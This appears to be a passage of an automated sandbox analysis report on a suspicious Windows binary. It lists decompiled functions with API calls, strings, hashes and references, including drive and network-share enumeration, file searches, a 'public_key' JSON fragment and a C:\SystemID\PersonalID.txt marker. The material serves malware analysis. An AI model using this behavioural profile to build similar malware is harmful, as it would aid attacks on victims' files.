PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: e9b26cb769ea0bea4beab22a3d6a773b005b8fbb9681272d242edd76dbb4ecf4
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: e9b26cb769ea0bea4beab22a3d6a773b005b8fbb9681272d242edd76dbb4ecf4
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6a00f287b25f822fcf47a96074d5a0ed9d8421437aa5125ae0fc33b4cf39192e
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6a00f287b25f822fcf47a96074d5a0ed9d8421437aa5125ae0fc33b4cf39192e
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00610000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: aea33c33147a0146d7280c209713589e63d2cd09fffb2e66034523d2587f1995
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: aea33c33147a0146d7280c209713589e63d2cd09fffb2e66034523d2587f1995
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: 60d9f6127d6b11bfac00005b48f04bd8148e51489cf0d6db646d7855f6be01de
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: 60d9f6127d6b11bfac00005b48f04bd8148e51489cf0d6db646d7855f6be01de
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 45d73429e29eeefaca4f9398968167e5edb4bad7ffa24b22de0f09ece1bcdd92
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 45d73429e29eeefaca4f9398968167e5edb4bad7ffa24b22de0f09ece1bcdd92
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00610000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00415F50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00415FE2

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Strings

vector<T> too long, xrefs: 00415FF0

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID: vector<T> too long
API String ID: 657562460-3788999226
Opcode ID: d2a5ac7a09ec14949430fdf86236fc691a3145d31ca89b821a2a2258ad2a2fb8
Instruction ID: 062493fe71bda258871ba60a2f6f35179966240c7be00a7e807cfa683484c744
Opcode Fuzzy Hash: d2a5ac7a09ec14949430fdf86236fc691a3145d31ca89b821a2a2258ad2a2fb8
Instruction Fuzzy Hash: 8011E675600118DF8B04EF1CD981CDABBE9EF84300744816AED098F70AEB35EE65C6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00413A90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413B0A

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Strings

vector<T> too long, xrefs: 00413B00

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID: vector<T> too long
API String ID: 657562460-3788999226
Opcode ID: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction ID: 58ba692ce99c870a1dcba0d104e91e6c126768a8e2c2fae69a1ad948a11fc536
Opcode Fuzzy Hash: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction Fuzzy Hash: F401F171200705ABD720CFACC09068BFBE8AF80725F20853FEA5583381EBB5E944C784

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNELBASE(?,?), ref: 0041005A
FindClose.KERNEL32(?), ref: 0041006C

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: 7c792f36faf161b3a50a3b1de5739d465233b155000f7204c75d28f0c9594716
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: 7c792f36faf161b3a50a3b1de5739d465233b155000f7204c75d28f0c9594716
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00427B16,00000000,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,00000000,00000000), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
